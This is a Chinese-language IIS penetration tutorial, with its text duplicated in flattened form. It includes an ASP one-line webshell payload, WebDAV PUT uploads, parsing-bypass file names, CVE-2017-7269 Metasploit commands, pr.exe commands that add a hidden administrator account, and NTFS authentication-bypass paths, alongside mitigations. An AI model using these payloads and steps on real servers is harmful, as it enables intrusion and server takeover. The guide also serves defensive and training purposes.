IIS渗透合集
字数 1818 2025-08-09 19:33:17

IIS渗透技术全面指南

目录

  1. IIS安装配置
  2. IIS 6.X渗透技术
  3. IIS 7.X渗透技术
  4. 防御措施

IIS安装配置

IIS 6.X安装

  • 运行环境:Windows Server 2003
  • 安装特点:需要额外插件支持
  • 安装完成后默认界面为基本管理控制台

IIS 7.X安装

  • 运行环境:Windows 7/Server 2008 R2等
  • 安装包:IIS7-win7-x64
  • 与PHP集成:可使用phpstudy进行联动配置
    • 需要以管理员身份运行
    • 需开启对应文件扩展名支持
    • 默认端口可能为8980

IIS 6.X渗透技术

写权限漏洞

漏洞原理

  • 由开启WebDAV引起
  • 允许攻击者通过PUT方法任意上传文件

利用步骤

  1. 确认服务器开启WebDAV和写入权限
  2. 使用工具发送PUT请求上传文件
    <%e val request("a001")%>
    
  3. 上传txt文件后重命名为asp
  4. 使用蚁剑等工具连接webshell

防御措施

  1. 关闭WebDAV服务
  2. 关闭目录写入权限

解析漏洞

文件解析漏洞

  • 畸形文件名如*.asp;.xxx会被当作asp文件执行
  • 示例:
    • a001.asp;.jpg → 实际执行a001.asp
    • a001.asp;.zip → 实际执行a001.zip

目录解析漏洞

  • .asp命名的文件夹中所有文件都会被当作asp执行
  • 示例:
    • 创建1.asp目录
    • 将文本文件放入该目录即可被解析执行

防御措施

  1. 设置严格目录权限
  2. 禁止新建特定目录
  3. 上传文件强制重命名(时间戳+随机数+后缀)

短文件漏洞

漏洞原理

  • 攻击者可利用~字符猜解服务器文件名
  • 支持HTTP方法:DEBUG、OPTIONS、GET、POST、HEAD、TRACE
  • IIS8.0+仅支持OPTIONS和TRACE方法

利用工具

  1. tilde_enum
  2. IIS-ShortName-Scanner

修复建议

  1. 关闭NTFS 8.3文件格式支持:
    • Win2003: fsutil behavior set disable8dot3 1
    • Win2008+: fsutil 8dot3name set 1
  2. 修改注册表:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
    设置NtfsDisable8dot3NameCreation=1
    

局限性

  • 文件名过短无法猜解
  • 只能确定前6个字符
  • 不支持中文文件名

CVE-2017-7269远程代码执行

影响范围

  • Windows Server 2003 R2 + IIS6.0 + 开启WebDAV

复现步骤

  1. 使用Python2 exp:IIS_exploit
  2. 修改目标IP和端口
  3. 执行后验证进程创建(如calc.exe)

MSF利用

  1. 下载cve-2017-7269.rb
  2. 放入Metasploit模块目录:
    /usr/share/metasploit-framework/modules/exploits/windows/iis/
    
  3. 使用模块:
    use exploit/windows/iis/cve_2017_7269
    set rhosts <target_ip>
    exploit
    

提权操作

  1. 上传pr.exe工具
  2. 创建用户:
    pr.exe "net user a002 963852 /add"
    
  3. 添加到管理员组:
    pr.exe "net localgroup administrators a002 /add"
    

IIS 7.X渗透技术

解析漏洞

漏洞原理

  • Fast-CGI模式下,在任意文件后加/php会解析为php
  • 示例:a001.jpg/.php

修复建议

  • 配置cgi.fix_pathinfo=0并重启php-cgi

HTTP.SYS远程代码执行(MS15-034)

影响范围

  • IIS7.5、IIS8.0、IIS8.5
  • Windows Server 2008 R2/2012/2012 R2
  • Windows 7/8/8.1

验证方法

  1. 发送特殊HTTP头:
    Range: bytes=0-18446744073709551615
    
  2. 返回416状态码表示存在漏洞

修复建议

  • 安装KB3042553补丁

认证绕过漏洞

三种绕过方式

  1. PHP环境绕过:
    /admin::$INDEX_ALLOCATION/index.php
    
  2. 经典ASP绕过:
    /admin:$i30:$INDEX_ALLOCATION/index.asp
    
  3. .NET环境绕过:
    /admin:$i30:$INDEX_ALLOCATION/admin.php
    

复现步骤

  1. 禁用匿名身份验证
  2. 正常访问返回401
  3. 使用特殊路径绕过:
    http://IP/a001:$i30:$INDEX_ALLOCATION/index.php
    

组合漏洞利用

场景

  • 限制上传和访问php文件

利用方法

  1. 上传aspx文件包含php代码
  2. 结合认证绕过和解析漏洞:
    http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx/.php
    

防御措施总结

  1. 及时安装安全补丁
  2. 关闭不必要的服务(如WebDAV)
  3. 严格限制上传目录权限
  4. 禁用不必要的HTTP方法
  5. 配置安全的文件解析规则
  6. 关闭NTFS 8.3短文件名支持
  7. 实施严格的认证授权机制
  8. 对上传文件进行重命名和内容检查

最佳实践

  • 定期进行安全审计
  • 使用WAF等防护设备
  • 保持系统和服务组件更新
  • 遵循最小权限原则配置服务
IIS渗透技术全面指南 目录 IIS安装配置 IIS 6.X安装 IIS 7.X安装 IIS 6.X渗透技术 写权限漏洞 解析漏洞 短文件漏洞 CVE-2017-7269远程代码执行 IIS 7.X渗透技术 解析漏洞 HTTP.SYS远程代码执行 认证绕过漏洞 组合漏洞利用 防御措施 IIS安装配置 IIS 6.X安装 运行环境:Windows Server 2003 安装特点:需要额外插件支持 安装完成后默认界面为基本管理控制台 IIS 7.X安装 运行环境:Windows 7/Server 2008 R2等 安装包:IIS7-win7-x64 与PHP集成:可使用phpstudy进行联动配置 需要以管理员身份运行 需开启对应文件扩展名支持 默认端口可能为8980 IIS 6.X渗透技术 写权限漏洞 漏洞原理 : 由开启WebDAV引起 允许攻击者通过PUT方法任意上传文件 利用步骤 : 确认服务器开启WebDAV和写入权限 使用工具发送PUT请求上传文件 上传txt文件后重命名为asp 使用蚁剑等工具连接webshell 防御措施 : 关闭WebDAV服务 关闭目录写入权限 解析漏洞 文件解析漏洞 : 畸形文件名如 *.asp;.xxx 会被当作asp文件执行 示例: a001.asp;.jpg → 实际执行 a001.asp a001.asp;.zip → 实际执行 a001.zip 目录解析漏洞 : 以 .asp 命名的文件夹中所有文件都会被当作asp执行 示例: 创建 1.asp 目录 将文本文件放入该目录即可被解析执行 防御措施 : 设置严格目录权限 禁止新建特定目录 上传文件强制重命名(时间戳+随机数+后缀) 短文件漏洞 漏洞原理 : 攻击者可利用 ~ 字符猜解服务器文件名 支持HTTP方法:DEBUG、OPTIONS、GET、POST、HEAD、TRACE IIS8.0+仅支持OPTIONS和TRACE方法 利用工具 : tilde_ enum IIS-ShortName-Scanner 修复建议 : 关闭NTFS 8.3文件格式支持: Win2003: fsutil behavior set disable8dot3 1 Win2008+: fsutil 8dot3name set 1 修改注册表: 局限性 : 文件名过短无法猜解 只能确定前6个字符 不支持中文文件名 CVE-2017-7269远程代码执行 影响范围 : Windows Server 2003 R2 + IIS6.0 + 开启WebDAV 复现步骤 : 使用Python2 exp: IIS_ exploit 修改目标IP和端口 执行后验证进程创建(如calc.exe) MSF利用 : 下载 cve-2017-7269.rb 放入Metasploit模块目录: 使用模块: 提权操作 : 上传pr.exe工具 创建用户: 添加到管理员组: IIS 7.X渗透技术 解析漏洞 漏洞原理 : Fast-CGI模式下,在任意文件后加 /php 会解析为php 示例: a001.jpg/.php 修复建议 : 配置 cgi.fix_pathinfo=0 并重启php-cgi HTTP.SYS远程代码执行(MS15-034) 影响范围 : IIS7.5、IIS8.0、IIS8.5 Windows Server 2008 R2/2012/2012 R2 Windows 7/8/8.1 验证方法 : 发送特殊HTTP头: 返回416状态码表示存在漏洞 修复建议 : 安装KB3042553补丁 认证绕过漏洞 三种绕过方式 : PHP环境绕过: 经典ASP绕过: .NET环境绕过: 复现步骤 : 禁用匿名身份验证 正常访问返回401 使用特殊路径绕过: 组合漏洞利用 场景 : 限制上传和访问php文件 利用方法 : 上传aspx文件包含php代码 结合认证绕过和解析漏洞: 防御措施总结 及时安装安全补丁 关闭不必要的服务(如WebDAV) 严格限制上传目录权限 禁用不必要的HTTP方法 配置安全的文件解析规则 关闭NTFS 8.3短文件名支持 实施严格的认证授权机制 对上传文件进行重命名和内容检查 最佳实践 : 定期进行安全审计 使用WAF等防护设备 保持系统和服务组件更新 遵循最小权限原则配置服务